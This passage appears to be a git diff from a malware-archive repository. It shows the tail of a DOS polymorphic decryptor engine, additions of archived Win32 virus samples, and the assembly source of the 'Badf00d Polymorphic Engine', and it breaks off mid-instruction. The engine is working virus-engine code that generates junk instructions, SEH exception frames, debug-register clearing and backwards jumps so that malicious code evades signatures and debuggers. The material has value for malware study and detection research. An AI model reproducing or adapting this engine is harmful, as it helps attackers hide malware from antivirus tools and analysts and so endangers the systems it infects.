DEME_Clos14++DEME_Clos2Tbl dw offset DEME_Clos21+ dw offset DEME_Clos22+ dw offset DEME_Clos21+ dw offset DEME_Clos21++proc DEME_Clos11 near+ push ax bx+ mov al,10000001b+ stosb+ mov ax,[DEME_RegCounter]+ or al,11111000b+ stosb+ xor ax,ax+ stosw+ pop bx ax+ ret+endp DEME_Clos11++proc DEME_Clos12 near+ push ax bx+ mov al,10000001b+ stosb+ mov ax,[DEME_RegCounter]+ or al,11111000b+ stosb+ xor ax,ax+ inc ax+ stosw+ pop bx ax+ ret+endp DEME_Clos12++proc DEME_Clos13 near+ push ax bx+ mov al,00001001b+ stosb+ mov ax,[DEME_RegCounter]+ mov ah,11000000b+ or ah,al+ shl al,3+ or al,ah+ stosb+ pop bx ax+ ret+endp DEME_Clos13++proc DEME_Clos14 near+ push ax bx+ mov al,11110111b+ stosb+ mov ax,[DEME_RegCounter]+ or al,11000000b+ stosb+ xor ax,ax+ dec ax+ stosw+ pop bx ax+ ret+endp DEME_Clos14++proc DEME_Clos21 near+ push ax+ mov al,01110100b+ stosb+ mov [DEME_JmpShort],di+ stosb+ pop ax+ ret+endp DEME_Clos21++proc DEME_Clos22 near+ push ax+ mov al,01110010b+ stosb+ mov [DEME_JmpShort],di+ stosb+ pop ax+ ret+endp DEME_Clos22++proc DEME_ClosJmp near+ push ax+ mov al,11101001b+ stosb+ mov ax,[DEME_LoopAddr]+ sub ax,di+ dec ax+ dec ax+ stosw+ pop ax+ ret+endp DEME_ClosJmp++proc DEME_ClosJmpShort near+ push ax bx+ mov ax,di+ mov bx,[DEME_JmpShort]+ sub ax,bx+ dec ax+ mov [es:bx],al+ pop bx ax+ ret+endp DEME_ClosJmpShort++proc DEME_GenEpilog near+ push ax bx dx+ call RND+ and ax,3fh+ inc ax+@@1:+ call DEME_GenTrash+ dec ax+ jnz @@1+ mov bx,[DEME_AddrBeg]+ mov dx,di+ sub dx,[DEME_BuffOffs]+ add dx,[DEME_Origin]+ mov [es:bx],dx+ pop dx bx ax+ ret+endp DEME_GenEpilog+++proc DEME_MixRegs near+ push ax+ call RND+ test al,1+ je @@1+ xchg bx,cx+@@1:+ test al,2+ je @@2+ xchg cx,dx+@@2:+ test al,4+ je @@3+ xchg bx,dx+@@3:+ pop ax+ ret+endp DEME_MixRegs+++proc Randomize near+ push ax+ in ax,40h+ mov [seed1],ax+ pop ax+ ret+endp Randomize++proc RND near+ push dx+ mov ax,[seed]+ xor ax,[seed1]+ mul ax+ mov al,dl+ mov [seed],ax+ pop dx+ ret+endp RND+++;������� ������++proc DEME_GenRandomSeq near+;������ ���� ����+ push ax+ call RND+ and ax,0fh+ inc ax+@@1:+ call DEME_GenTrash+ dec ax+ jnz @@1+ pop ax+ ret+endp DEME_GenRandomSeq++proc DEME_GenTrash near+;������ '������' �������+ push ax bx+ call RND+ and ax,3+ shl ax,1+ mov bx,ax+ call [DEME_TrashTbl+bx]+ pop bx ax+ ret+endp DEME_GenTrash++DEME_TrashTbl dw offset DEME_GenCmd1+ dw offset DEME_GenCmd2+ dw offset DEME_GenCmd3+ dw offset DEME_GenCmd4++proc DEME_GenCmd1 near+;������ 1-���⮢�� �������� ������� ��������� AX+ret+ push ax bx+ test [DEME_MaskUsed],M_AX+ jne @@Exit+ call RND+ and ax,7+ mov bx,ax+ mov al,[DEME_Cmds1+bx]+ stosb+@@Exit:+ pop bx ax+ ret+endp DEME_GenCmd1++DEME_Cmds1 db 00110111b ;aaa+ db 00111111b ;aas+ db 10011000b ;cbw+ db 00100111b ;daa+ db 00101111b ;das+ db 01001000b ;dec ax+ db 01000000b ;inc ax+ db 10011111b ;lahf+++proc DEME_GenCmd2 near+;������ 1-���࠭���� �������+ push ax bx+ call RND+ and ax,0fh+ mov bx,ax+ shl bx,1+ mov al,[DEME_Cmds2+bx]+ stosb+ mov bl,[DEME_Cmds2+bx+1]+ call DEME_GetUnusedReg+ or al,bl+ stosb+ pop bx ax+ ret+endp DEME_GenCmd2++DEME_Cmds2 db 0d1h,11000000b ;rol+ db 0d1h,11001000b ;ror+ db 0d1h,11010000b ;rcl+ db 0d1h,11011000b ;rcr+ db 0d1h,11100000b ;shl+ db 0d1h,11101000b ;shr+ db 0ffh,11000000b ;inc+ db 0ffh,11001000b ;dec+ db 0f7h,11010000b ;not+ db 0f7h,11011000b ;neg+ db 0d3h,11000000b ;rol cl+ db 0d3h,11001000b ;ror cl+ db 0d3h,11010000b ;rcl cl+ db 0d3h,11011000b ;rcr cl+ db 0d3h,11100000b ;shl cl+ db 0d3h,11101000b ;shr cl++proc DEME_GenCmd3 near+;������ 2-� ���࠭���� ������� � �����।�⢥��� ���祭���+ push ax bx+ mov al,[DEME_MaskUsed]+ push ax+ or [DEME_MaskUsed],M_AX ;��� AX ���� ������ ��㣨�+ call RND+ xor ah,ah+ mov bl,9+ div bl+ mov bl,ah+ xor bh,bh+ shl bx,1+ mov al,[DEME_Cmds3+bx]+ stosb+ mov bl,[DEME_Cmds3+bx+1]+ call DEME_GetUnusedReg+ or al,bl+ stosb+ call RND+ stosw+ pop ax+ mov [DEME_MaskUsed],al+ pop bx ax+ ret+endp DEME_GenCmd3++DEME_Cmds3 db 081h,11000000b ;add+ db 081h,11010000b ;adc+ db 081h,11101000b ;sub+ db 081h,11110000b ;xor+ db 0f7h,11000000b ;test+ db 081h,11011000b ;sbb+ db 081h,11001000b ;or+ db 081h,11111000b ;cmp+ db 081h,11100000b ;and+; db 0c7h,11000000b ;mov+++proc DEME_GenCmd4 near+;������ 2-� ���࠭���� �������+ push ax bx cx dx++ call RND+ xor ah,ah+ mov bl,10+ div bl+ mov bl,ah+ xor bh,bh+ mov al,[DEME_Cmds4+bx]+ stosb++ call DEME_GetUnusedReg+ shl al,3+ mov dl,al+ call RND+ and al,00000111b+ or al,11000000b+ or al,dl+ stosb++ pop dx cx bx ax+ ret+endp DEME_GenCmd4++DEME_Cmds4 db 003h ;add+ db 013h ;adc+ db 02bh ;sub+ db 033h ;xor+ db 085h ;test+ db 01bh ;sbb+ db 00bh ;or+ db 03bh ;cmp+ db 023h ;and+ db 08bh ;mov+++proc DEME_GetUnusedReg near+;�����頥� ���ᯮ��㥬� ॣ���� (��� ����)+ push bx+ mov bl,[DEME_MaskUsed]+ mov al,M_ALL+ call DEME_GetAnyReg+ mov [DEME_MaskUsed],bl+ pop bx+ ret+endp DEME_GetUnusedReg+++proc DEME_GetAnyReg near+;�����頥� ���ᯮ��㥬� ॣ���� �� ��।������� ��㯯�+ push bx cx+ mov bl,al+ not bl+ or bl,[DEME_MaskUsed]++ call RND+ and ax,7+ mov cl,al+ mov ah,1+ rol ah,cl+@@11:+ test ah,bl+ je @@12+ inc al+ and al,7+ rol ah,1+ jmp @@11+@@12:+ or [DEME_MaskUsed],ah+ and ax,7+ pop cx bx+ ret+endp DEME_GetAnyReg+++proc DEME_GenLoadReg16 near+;������ ����㧪� ॣ����+;ax - ������+;bx - 祬+ push ax bx+ and al,00000111b+ or al,10111000b+ stosb+ mov ax,bx+ stosw+ pop bx ax+ ret+endp DEME_GenLoadReg16++Seed dw 0+Seed1 dw 0+DEME_MaskUsed db 0++DEME_RegIndex dw 0+DEME_RegCounter dw 0+DEME_RegKey dw 0++DEME_Origin dw 0+DEME_BuffOffs dw 0++DEME_LoopAddr dw 0+DEME_JmpShort dw 0+DEME_CodeLen dw 0+DEME_Key dw 0+DEME_KeyAdd dw 0+DEME_AddrBeg dw 0++POPSTATE++++diff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Dina.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Dina.7znew file mode 100644index 0000000..0a29f6fBinary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Dina.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Dizzy.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Dizzy.7znew file mode 100644index 0000000..c01bb0cBinary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Dizzy.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Dme.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Dme.7znew file mode 100644index 0000000..656ddd6Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Dme.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.Expo.7z b/Malwares/Win32/win32 Engines/Virus.Win32.Expo.7znew file mode 100644index 0000000..c9dd5c6Binary files /dev/null and b/Malwares/Win32/win32 Engines/Virus.Win32.Expo.7z differdiff --git a/Malwares/Win32/win32 Engines/Virus.Win32.badf00d.asm b/Malwares/Win32/win32 Engines/Virus.Win32.badf00d.asmnew file mode 100644index 0000000..b467135--- /dev/null+++ b/Malwares/Win32/win32 Engines/Virus.Win32.badf00d.asm@@ -0,0 +1,990 @@+comment $+++ \`. |\+ \`-. \ `.| \!,,+ \ \ `.\ _ (__+ _ `-.> \ ___ \ __ ------------------------------------------+ `-/,o-./O `. ._` Badf00d Polymorphic Engine+ -// j_ | `` _<` ------------------------------------------+ |\__( \--' ' \ . by Piotr Bania <[email protected]>+ > _ `--' _/ ; http://pb.specialised.info+ | / `----.. . / (+ | ( `. Y )+ \ \ ,-.-.| |_ (_+ `.`.___\ \ \/=.`. __) a little bit of this,+ `--,==\ )==\,\ (_ a little bit of that+ ,'\===`--'====\,\ `-.+ ,'.` ============\,\ (`-'+ /`=.`Y=============\,\ .'+ /`-. `|==============\_,-._+ /`-._`=|=___=========,'^, c-)+ \`-----+' ._)=====_(_`-' ^-'`-.+ -----`=====, \ `.-==(^_ ^c_,.^ `^_\-----+ (__/`--'('(_,-._)-._,-.,__)`) hjw+ `-._`._______.'_.-'+ `---------'+++++ Disclaimer__________________________________________________________________________________]++ Author takes no responsibility for any actions with provided informations or codes.+ The copyright for any material created by the author is reserved. Any duplication of+ codes or texts provided here in electronic or printed publications is not permitted+ without the author's agreement. If you disagree - leave now!++++ Introduction________________________________________________________________________________]++ I must confess i was pretty bored and that's why i have written this engine. Meanwhile+ i was also thinking about some PE encrypter, so sooner or later i got to produce some+ poly engine for it. This little thingie was written in 2 days (few hours each day).+ Current version is super beta, drop me an mail if you will find any errors.++++ Features____________________________________________________________________________________]++ + SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random+ registry usage, random size of garbage block (return address is calculated via size+ of the generated junks), generated SEH block looks like this:+++ * SNIP *+ 00402814 E8 3D000000 CALL pol.00402856+ 00402819 8BD4 MOV EDX,ESP ; generated REG+ 0040281B 81C2 0C000000 ADD EDX,0C+ 00402821 8B12 MOV EDX,DWORD PTR DS:[EDX]+ 00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0+ 0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0+ 00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0+ 00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0+ 0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr+ 00402855 C3 RETN+ 00402856 33C9 XOR ECX,ECX+ 00402858 64:FF31 PUSH DWORD PTR FS:[ECX]+ 0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP+ 0040285E CC INT3+ 0040285F AF SCAS DWORD PTR ES:[EDI]+ 00402860 C8 50C933 ENTER 0C950,33+ 00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A+ * SNIP *++ As you can see doing only regswaping is not a good solution (still signature can be+ generated - look RegSwap virus description), prolly it is better to mix randomly SEH+ instructions with garbage. Use your imagination.+++ + safe garbage generator (generates stepable garbage code, moreover user can specyfi+ what registers should be used and what should be not, this feature gives an+ advantage to mix original code together with garbage code, without destroying the+ values from orginal one), like this snipet shows:+++ * SNIP - ALL REGS ALLOWED *+ 00402814 F7D2 NOT EDX+ 00402816 D1D3 RCL EBX,1+ 00402818 9B WAIT+ 00402819 9B WAIT+ 0040281A D1F9 SAR ECX,1+ 0040281C 93 XCHG EAX,EBX+ 0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9+ 00402823 F9 STC+ 00402824 81EF 73D13C4E SUB EDI,4E3CD173+ 0040282A 3BC7 CMP EAX,EDI+ 0040282C FD STD+ 0040282D 2BC6 SUB EAX,ESI+ 0040282F 57 PUSH EDI+ 00402830 81C9 6FA7215F OR ECX,5F21A76F+ 00402836 33F3 XOR ESI,EBX+ 00402838 F7D8 NEG EAX+ 0040283A 1BCE SBB ECX,ESI+ * SNIP - ALL REGS ALLOWED *+++ * SNIP - ALLOWED EAX/EBX *+ 00402814 F7DB NEG EBX+ 00402816 F7D0 NOT EAX+ 00402818 85C3 TEST EBX,EAX+ 0040281A F8 CLC+ 0040281B 90 NOP+ 0040281C C7C3 BB153882 MOV EBX,823815BB+ 00402822 F7D8 NEG EAX+ 00402824 09DB OR EBX,EBX+ 00402826 D1D3 RCL EBX,1+ 00402828 D1D8 RCR EAX,1+ 0040282A EB 00 JMP SHORT pol.0040282C+ 0040282C 81EB 011DAF21 SUB EBX,21AF1D01+ 00402832 81E8 3BB25C3B SUB EAX,3B5CB23B+ 00402838 F8 CLC+ * SNIP - ALLOWED EAX/EBX *+++ + hardcore garbage generator (generates jmp over_garbage and generates garbage stepable+ or totaly randomized - this one will be never executed), like here:+++ * SNIP - SOME GARBAGE CODE *+ 00402810 EB 14 JMP SHORT pol.00402826+ 00402812 CB RETF+ 00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>+ 0040281D F2: PREFIX REPNE:+ 0040281E 4B DEC EBX+ 0040281F 85FF TEST EDI,EDI+ 00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX+ 00402827 0C C8 OR AL,0C8+ * SNIP - SOME GARBAGE CODE *+++ + backwards jumps generator (generates some funny jumps :))++ * SNIP *+ 0040280C EB 3A JMP SHORT pol.00402848+ 0040280E 33FE XOR EDI,ESI+ 00402810 EB 3B JMP SHORT pol.0040284D+ 00402812 AE SCAS BYTE PTR ES:[EDI]+ 00402813 ^73 C8 JNB SHORT pol.004027DD+ 00402815 71 13 JNO SHORT pol.0040282A+ 00402817 90 NOP+ 00402818 5E POP ESI+ 00402819 C2 AFE0 RETN 0E0AF+ 0040281C BB 8406103D MOV EBX,3D100684+ 00402821 60 PUSHAD+ 00402822 E5 77 IN EAX,77+ 00402824 2AC4 SUB AL,AH+ 00402826 59 POP ECX+ 00402827 3E:5C POP ESP+ 00402829 0E PUSH CS+ 0040282A 67:73 7A JNB SHORT pol.004028A7+ 0040282D AF SCAS DWORD PTR ES:[EDI]+ 0040282E 27 DAA+ 0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL+ 00402835 5D POP EBP+ 00402836 52 PUSH EDX+ 00402837 D9FB FSINCOS+ 00402839 ^E1 BD LOOPDE SHORT pol.004027F8+ 0040283B 4E DEC ESI+ 0040283C 53 PUSH EBX+ 0040283D 4D DEC EBP+ 0040283E 62D6 BOUND EDX,ESI+ 00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>+ 00402841 FF49 8C DEC DWORD PTR DS:[ECX-74]+ 00402844 07 POP ES+ 00402845 56 PUSH ESI+ 00402846 7A 15 JPE SHORT pol.0040285D+ 00402848 9B WAIT+ 00402849 ^EB C5 JMP SHORT pol.00402810+ 0040284B 6E OUTS DX,BYTE PTR ES:[EDI]+ 0040284C 45 INC EBP+ * SNIP *+++ TODO________________________________________________________________________________________]++ + code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)+ + add some checksum checker routines+ + code new engine :))+++ Sample_usage________________________________________________________________________________]++ * SNIP *+ call random_setup ; set seed+ mov ecx,30 ; loop counter+ lea edi,temp_buff ; EDI = where to store+ gen_it:+ mov eax,3+ call random_eax ; give random+ cmp eax,0+ je skip_jmp++ cmp eax,1+ je skip_sehs++ call t_normalize_pops ; normalize stack before SEHs+ add edi,eax++ call gen_seh ; generate SEHs+ add edi,eax ; add edi,generated_code_size+ skip_sehs:+ call gen_bjumps ; generate backwards jumps+ add edi,eax ; add edi,generated_code_size+ skip_jmp:+ mov eax,2+ call random_eax ; give random+ test eax,eax+ jnz gen_it2++ call gen_garbage_i ; generate some stepable junk+ jmp loopers++ gen_it2:+ call hardcode_garbage_i ; generate some hard junks++ loopers:+ add edi,eax ; add edi,generated_code_size+ loop gen_it+++ call t_normalize_pops ; normalize stack if it wasn't+ add edi,eax ; normalized+ * SNIP *++++ Have phun,+ Piotr Bania+++++$+++M0_EAX equ 0+M0_ECX equ 1+M0_EDX equ 2+M0_EBX equ 3+M0_ESI equ 4+M0_EDI equ 5++M1_EAX equ 0+M1_ECX equ 1+M1_EDX equ 2+M1_EBX equ 3+M1_ESI equ 6+M1_EDI equ 7+++M2_EAX equ 0 shl 3+M2_ECX equ 1 shl 3+M2_EDX equ 2 shl 3+M2_EBX equ 3 shl 3+M2_ESI equ 6 shl 3+M2_EDI equ 7 shl 3++; -------------- MAIN REGISTERS TABLES ----------------------------------------++x1_table: db M1_EAX+ db M1_ECX+ db M1_EDX+ db M1_EBX+ db M1_ESI+ db M1_EDI+x1_tbl_size = $ - offset x1_table++x2_table: db M2_EAX+ db M2_ECX+ db M2_EDX+ db M2_EBX+ db M2_ESI+ db M2_EDI+x2_tbl_size = $ - offset x2_table+++; -------------- INSTRUCTION TABLES -------------------------------------------+; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)+; <OPCODE> <MODRM> <LEN> <CSET>+;+; if there is no MODRM, MODRM must be set to 2Dh (temp)++NO_M equ 02dh+C_NONE equ 0+C_SRC equ 1+C_DST equ 2+C_BOTH equ 3++++allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI+instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc+ db 0EBh, NO_M, 2h, C_NONE ; jmp $+1+ db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM+ db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)+ db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM+ db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)+ db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM+ db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)+ db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)+ db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)+_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)+ db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)+ db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM+ db 03bh, 0c0h, 2h, C_BOTH+ db 085h, 0c0h, 2h, C_BOTH+ db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)+ db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)+ db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)+ db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)+ db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1+ db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1+ db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1+ db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)+ db 090h, NO_M, 1h, C_NONE ; nop+ db 0fch, NO_M, 1h, C_NONE ; cld+ db 0f8h, NO_M, 1h, C_NONE ; clc+ db 0fdh, NO_M, 1h, C_NONE ; std+ db 09bh, NO_M, 1h, C_NONE ; wait+ db 050h, NO_M, 1h, C_SRC ; push reg(eax)+_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)+ENTRY_TABLE_SIZE = 4+instr_table_size = (($-offset instr_table)/4)++ dd 0+push_number dd 0+do_push db 1 ; should we process pushs?++O_JMP equ 0EBh+O_PUSH equ 050h+O_POP equ 058h+i_jmp: db 0EBh, NO_M, 2h ; jmp $+1++++; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------+; EDI = where+; ----------------------------------------------------------------------------++gen_garbage_i:++ pushad+garbage_again:+ mov eax,instr_table_size+ call random_eax++ lea esi,instr_table+ mov ecx,ENTRY_TABLE_SIZE+ mul ecx ; eax=member from table to use+ add esi,eax+ jmp garbage_co++garbage_hand: pushad+garbage_co: lodsw ; ah = modrm value / al=opcode+ cmp ah,NO_M+ je no_modrm+ stosb ; store opcode+ xor edx,edx+ mov dl,ah+ cmp byte ptr [esi+1],C_BOTH ; what registers to mutate+ je p_01+ cmp byte ptr [esi+1],C_SRC+ jne t_01++p_01: and dl,0F8h+ mov eax,x1_tbl_size+ call random_eax+ mov al,byte ptr [allowed_regs[eax]]+ mov al,byte ptr [x1_table[eax]]+ or dl,al+ mov byte ptr [edi],dl++t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate+ je p_02+ cmp byte ptr [esi+1],C_DST+ jne finish_i++p_02: and dl,0C7h+ mov eax,x2_tbl_size+ call random_eax+ mov al,byte ptr [allowed_regs[eax]]+ mov al,byte ptr [x2_table[eax]]+ or dl,al ; update modrm value+ mov byte ptr [edi],dl++finish_i: mov cl,byte ptr [esi]+ sub cl,2+ inc edi+ cmp cl,0+ jle garbage_done++store_op: mov eax,12345678h+ call random_eax+ stosb+ loop store_op+++garbage_done: xor eax,eax+ mov al,byte ptr [esi]+ mov [esp+PUSHA_STRUCT._EAX],eax+ popad+ ret+++; ----------------------------------------------------+; NO MOD-RMs+; ----------------------------------------------------+++no_modrm: xor edx,edx+ mov dl,al++ cmp byte ptr [esi+1],C_NONE+ je t_none+ cmp dl,O_PUSH+ je t_push+ cmp dl,O_POP+ je t_pop+++go_nomodrm: mov eax,x1_tbl_size+ call random_eax+ mov al,byte ptr [allowed_regs[eax]]+ mov al,byte ptr [x1_table[eax]]+ and dl,0F8h+ or dl,al+ mov byte ptr [edi],dl+ inc edi+ jmp finish_i++t_none: mov byte ptr [edi],dl+ inc edi+ cmp dl,O_JMP+ jne finish_i+ mov byte ptr [edi],0+ inc edi+ jmp finish_i++t_push: cmp byte ptr [do_push],1+ jne garbage_again+ inc dword ptr [push_number]+ jmp go_nomodrm++t_pop: cmp byte ptr [do_push],1+ jne garbage_again++ cmp dword ptr [push_number],0+ jle garbage_again++ dec dword ptr [push_number]+ jmp go_nomodrm++++t_normalize_pops:++ pushad+ xor ebx,ebx+ mov ecx,dword ptr [push_number]+ test ecx,ecx+ jz t_opsexit+++t_givepops: lea esi,_i_pop+ call garbage_hand+ add edi,eax+ add ebx,eax+ loop t_givepops++t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx+ popad+ ret+++; ---------------------------------------------------------------------------+; HARDCORE GARBAGER+; ---------------------------------------------------------------------------+; EDI = where to store+;+; This one generates code like this:+; jmp over_garbage+; <totaly random generated garbage>+; <normal garbage>+; max: up to 20 "instructions"+; ---------------------------------------------------------------------------++hardcode_garbage_i:++ pushad+ mov ebx,edi+ lea edi,hardcore_temp+ mov eax,20+ call random_eax+ mov ecx,eax+ add ecx,4++h_fill: mov eax,2+ call random_eax+ test eax,eax+ jnz h_hard+ call gen_garbage_i+ jmp h_cont++h_hard: mov eax,5+ call random_eax+ mov edx,eax+ inc edx+ xor esi,esi++h_hard_fill: mov eax,0FFFFh+ call random_eax+ stosb+ inc esi+ dec edx+ jnz h_hard_fill+ loop h_fill+ jmp h_done++h_cont: add edi,eax+ loop h_fill++h_done: lea ecx,hardcore_temp+ sub edi,ecx+ mov ecx,edi++ mov byte ptr [ebx],O_JMP+ inc ebx+ mov byte ptr [ebx],cl+ inc ebx++ push ecx+ mov edi,ebx+ lea esi,hardcore_temp+ rep movsb+ pop eax+ add eax,2++ mov [esp+PUSHA_STRUCT._EAX],eax+ popad+ ret++; -------------------------------------------------------------+; Generates backwards jumps+; -------------------------------------------------------------+; EDI = buffor++gen_bjumps:++ pushad+ mov ebx,edi+ mov byte ptr [jmp_flag],0+ mov byte ptr [jmp_flag_b],0+ mov dword ptr [count_jmp],0+ mov dword ptr [where_where],0+ mov dword ptr [jmp_bytes],0+ mov byte ptr [do_push],0+ mov byte ptr [where_losed],0++ mov byte ptr [ebx],O_JMP+ mov dword ptr [where_start],ebx+ add dword ptr [where_start],2+ inc ebx++ xor esi,esi+ add edi,2+ add dword ptr [jmp_bytes],2++gen_gar_i: mov eax,20+ call random_eax+ mov ecx,eax+ add ecx,10++gen_gar_ii: call gen_garbage_i+ add dword ptr [jmp_bytes],eax+ add esi,eax+ add edi,eax+ cmp byte ptr [jmp_flag],1+ jne gen_gari_ix+ add dword ptr [count_jmp],eax+ jmp gen_gari_ixx++gen_gari_ix: push eax+ mov eax,2+ call random_eax+ mov edx,eax+ pop eax+ cmp byte ptr [where_losed],1+ je gen_gari_ixx+ add dword ptr [where_start],eax+ cmp edx,1+ je gen_gari_ixx+ mov byte ptr [where_losed],1++gen_gari_ixx: mov eax,3+ call random_eax+ cmp eax,2+ jne cont_gari+ cmp byte ptr [jmp_flag],1+ je cont_gari+ mov byte ptr [jmp_flag],1+ mov byte ptr [edi],O_JMP+ inc edi+ mov dword ptr [where_jmp],edi+ inc edi+ add esi,2++cont_gari: loop gen_gar_ii+ mov eax,esi+ mov byte ptr [ebx],al+ cmp byte ptr [jmp_flag],1+ je cont_gari2+ mov byte ptr [edi],O_JMP+ inc edi+ mov dword ptr [where_jmp],edi+ inc edi++cont_gari2: mov dword ptr [where_where],edi+ add dword ptr [jmp_bytes],2+ mov eax,5+ call random_eax+ inc eax+ mov ecx,eax++cont_gari3: call gen_garbage_i+ add dword ptr [jmp_bytes],eax+ add edi,eax+ add dword ptr [count_jmp],eax+ loop cont_gari3+ mov byte ptr [edi],O_JMP+ mov eax,edi+ sub eax,dword ptr [where_start]+ add eax,2+ neg eax++ pushad+ add edi,2+ mov eax,4+ call random_eax+ mov ecx,eax+ test ecx,ecx+ jz cont_gari4++place_gar: mov eax,0FFh+ call random_eax+ inc dword ptr [count_jmp]+ inc dword ptr [jmp_bytes]+ stosb+ loop place_gar+++cont_gari4: add dword ptr [count_jmp],2+ mov eax,dword ptr [count_jmp]+ mov edx,dword ptr [where_jmp]+ mov byte ptr [edx],al+ popad+ mov byte ptr [edi+1],al+ add dword ptr [jmp_bytes],2+ mov edx,dword ptr [where_where]+ sub edx,dword ptr [where_jmp]+ dec edx+ mov ecx,edx+ mov edx,dword ptr [where_jmp]+ inc edx+ cmp ecx,0+ jle cont_no_xor++cont_xor: mov eax,0FFh+ call random_eax+ xor byte ptr [edx],al+ inc edx+ loop cont_xor++cont_no_xor: mov byte ptr [do_push],1+ mov edx,dword ptr [jmp_bytes]+ mov [esp+PUSHA_STRUCT._EAX],edx+ popad+ ret++jmp_bytes dd 0+where_losed db 0+where_where dd 0+where_start dd 0+count_jmp dd 0+where_jmp dd 0+jmp_flag db 0+jmp_flag_b db 0++++++; -------------------------------------------------------------+; Generates SEH frames/exceptions/etc.+; -------------------------------------------------------------+; EDI = buffor+++FS_PREFIX equ 064h+seh_push_fs db 0ffh, 030h, 2h, C_SRC+seh_mov_fs db 089h, 020h, 2h, C_SRC+seh_pop_fs db 08fh, 000h, 2h, C_SRC++_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP+_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6+_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]+_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A+_add_dreg_num db 081h, 080h, 2h, C_SRC++exception_table:+ db 0CCh ; int 3+ db 0fah ; cli+ db 0fbh ; sti+exception_table_size = $-offset exception_table+++++++gen_seh:+ pushad+ xor edx,edx+ mov ebx,edi+ mov byte ptr [edi],0E8h+ mov dword ptr [edi+1],0+ add edx,5+ add edi,5+ push edi+ lea esi,allowed_regs+ mov ecx,x1_tbl_size+ push esi+ push ecx+ lea edi,allowed_regs_temp+ rep movsb+ pop ecx+ pop edi++ pushad+ mov eax,x1_tbl_size+ call random_eax+ cmp eax,M0_EAX+ jne reg_p+ inc eax ; somehow :) EAX usage results with invalid disposition error++reg_p: rep stosb+ mov edi,[esp+PUSHA_STRUCT_SIZE]+ lea esi,_mov_reg_esp+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],eax+ add [esp+PUSHA_STRUCT_SIZE],eax+ add edi,eax+ lea esi,_add_reg_num+ call garbage_hand+ add edi,2+ mov dword ptr [edi],0Ch+ add dword ptr [esp+PUSHA_STRUCT._EDX],6+ add [esp+PUSHA_STRUCT_SIZE],6+ add edi,4+ lea esi,_mov_reg_oreg+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],eax+ add [esp+PUSHA_STRUCT_SIZE],eax+ add edi,eax+ lea esi,_mov_dreg_num+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+ add [esp+PUSHA_STRUCT_SIZE],0ah+ add edi,2+ mov dword ptr [edi],04h+ mov dword ptr [edi+4],0h+ add edi,0ah-2+ lea esi,_mov_dreg_num+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+ add [esp+PUSHA_STRUCT_SIZE],0ah+ add edi,2+ mov dword ptr [edi],08h+ mov dword ptr [edi+4],0h+ add edi,0ah-2+ lea esi,_mov_dreg_num+ call garbage_hand+ add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+ add [esp+PUSHA_STRUCT_SIZE],0ah+ add edi,2+ mov dword 